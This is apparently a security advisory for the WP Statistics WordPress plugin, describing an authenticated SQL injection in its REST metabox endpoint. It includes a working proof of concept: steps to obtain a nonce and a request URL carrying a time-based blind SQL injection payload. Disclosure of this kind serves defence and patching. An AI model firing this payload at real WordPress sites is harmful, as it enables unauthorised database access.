The plugin does not escape a parameter, which could allow authenticated users to perform SQL Injection attacks. By default, the affected feature is available to users with the manage_options capability (admin+), however the plugin has a settings to allow low privilege users to access it as well.
Log in as a user allowed to View WP Statistic and get a nonce via https://example.com/wp-admin/admin-ajax.php?action=rest-nonce, and use it in the URL below, which will be delayed by 5s:
http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR